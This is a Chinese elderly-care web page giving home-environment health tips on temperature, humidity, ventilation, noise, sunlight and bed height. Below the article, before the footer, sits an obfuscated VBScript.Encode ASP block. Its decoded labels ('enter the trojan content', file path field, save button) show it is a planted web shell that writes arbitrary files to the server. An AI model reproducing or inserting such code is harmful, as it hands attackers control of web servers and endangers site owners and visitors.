首页　新闻　体育　旅游　保健　医院　护理　支付中心　会员专区　夕阳红健康俱乐部
　 当前位置：中国夕阳红网 → 保健常识 → 适宜老人养生的“家庭环境”
适宜老人养生的“家庭环境”
日期：2008年7月10日 作者：中国夕阳红网 人气： 查看:[大字体 中字体 小字体]


　　温度：室内温度以１８－２０摄氏度为宜。室温过低，老人易着凉、感冒；室温过高容易使人疲惫、精神不振。

　　湿度：家庭内最佳湿度应是５０％－６０％。湿度大，使人感到潮湿、气闷；而空气过于干燥，人体会蒸发大量水分，引起皮肤干燥、口干、咽痛等不适，尤其对老年呼吸道感染病人，会因痰不易咳出而加重病情。

　　通风：晨起，开窗通气，可排出室内废气，让新鲜空气补充进来，一般居室开窗２０－３０分钟，室内空气即可更新一遍。

　　噪声：研究表明噪声５０－６０分贝时，一般人就会有吵闹感。对有心脏病的老人，安静则是一种治疗手段。家庭中创造一个宁静、幽雅的环境，利于老年人休养。

　　采光：室内阳光照射对老年人尤为重要。让阳光直接照射室内，能给人以舒适感，阳光中的紫外线还有消毒、杀菌作用。

　　床铺：老年人应选用硬床。以睡在床上床垫不下陷为好。床的高度应在膝盖以下，与小腿长相等，过高过低都会使老人感到不便，增加摔倒机会。


来源：三九健康网

（出处：中国夕阳红网）
相关文章：
相关软件：
<%@ LANGUAGE = VBScript.Encode %> <%#@~^CgAAAA==[b:~K4N0/K3QMAAA==^#~@%> <%#@~^CQAAAA==[b:~6NmYlWgMAAA==^#~@%> <%#@~^EAAAAA==[b:~K4NmW!xDWk^+XgYAAA==^#~@%> <%#@~^FAAAAA==G PnMDKDPM+k;:PU+XYtwcAAA==^#~@%> <%#@~^XwAAAA==dY~K4N0/KP{~/D-+MR^.lYG4N+mDcE?r_rm.JQEbwOJ3Ek oEQrR0EQrksJ3E/E3JH/J3JDn:r_EW(JQEN+mrQJDJ#ExwAAA==^#~@%> <%#@~^JwAAAA==r6POMks`D;!n/D`E/H0[2mYtrb#@!@*Jr~OtxigwAAA==^#~@%> <%#@~^GwAAAA==W9lOmP{PD;!n/D`EmH0[[mYlrbWwkAAA==^#~@%> <%#@~^QAAAAA==dY~K4NmW!xDWk^+xW(LWdKRmMnlD+YaO0bV`.+5;/O`rdX6N2CDtJbSDD;+*dRgAAA==^#~@%> <%#@~^GAAAAA==G(L^KE Y0bV hMkO+,0[CDlfQkAAA==^#~@%> <%#@~^DgAAAA==r6PnMD,'!,Y4nxlAQAAA==^#~@%> <%#@~^OQAAAA==./2Kxk+RSDbO+,J@!0KxO~1WVK.'M+N@*dC\PkE^mndk"@!z6GxD@*EXRMAAA==^#~@%> <%#@~^BAAAAA==n^/nqQEAAA==^#~@%> <%#@~^OwAAAA==./2Kxk+RSDbO+,J@!0KxO~1WVK.'M+N@*dC\P!xdE^^/d"@!&0KxO@*rQBQAAA==^#~@%> <%#@~^BgAAAA==n N~b0JgIAAA==^#~@%> <%#@~^CQAAAA==nMD 1VlDfgMAAA==^#~@%> <%#@~^BgAAAA==n N~b0JgIAAA==^#~@%> <%#@~^EgAAAA==G(L^KE Y0bV m^Wd+SAcAAA==^#~@%> <%#@~^GAAAAA==dY~K4NmW!xDWk^+xxKY4r opAkAAA==^#~@%> <%#@~^FAAAAA==dY~K4N0/KP{~xKY4k oYwcAAA==^#~@%> <%#@~^MQAAAA==./2Kxk+RSDbO+,J@!0KDh~mmYbGx{BBEv~:Y4W['2GkY@*JdRAAAA==^#~@%> <%#@~^SwAAAA==./2Kxk+RSDbO+,J保存文件的@!0KxO~1WVK.'M+N@*绝对路径c包括文件名l如N=-S+8-a m/2#=@!z6WUO@*JtxMAAA==^#~@%> <%#@~^QwAAAA==./2Kxk+RSDbO+,J@!k w;O,YXan'D+6D~Uls+{/z0[2mY4PSrNDtxfyP/r"'X!@*EehcAAA==^#~@%> <%#@~^FwAAAA==./2Kxk+RSDbO+,J@!4M@*EegcAAA==^#~@%> <%#@~^GAAAAA==./2Kxk+RSDbO+,J本文件绝对路径ELAYAAA==^#~@%> <%=#@~^NgAAAA==dD-Dc:lawmOtvDn;!+dOc/+M-+M\lMrC4^+k`E/^.bwO{ C:JbbshQAAA==^#~@%> <%#@~^FwAAAA==./2Kxk+RSDbO+,J@!4M@*EegcAAA==^#~@%> <%#@~^GAAAAA==./2Kxk+RSDbO+,J输入马的内容lJZgYAAA==^#~@%> <%#@~^UQAAAA==./2Kxk+RSDbO+,J@!Y6OCM+l,Uls+'1zWN9lDl~mGsk'0!,.WS/xqZPhr[Dtx&y@*@!zO6DlDl@*EKhsAAA==^#~@%> <%#@~^LwAAAA==./2Kxk+RSDbO+,J@!k w;O,YXan'kE4srOP7l^En'保存@*EAxAAAA==^#~@%> <%#@~^GgAAAA==./2Kxk+RSDbO+,J@!z6W.h@*JiQgAAA==^#~@%>
中国夕阳红网 © 1998-2007 版权所有　Email：xyl@xyh99.net
备案号码：沪ICP备05007924号
Msn： xiongyoulin@hotmail.com 　　QQ：42082071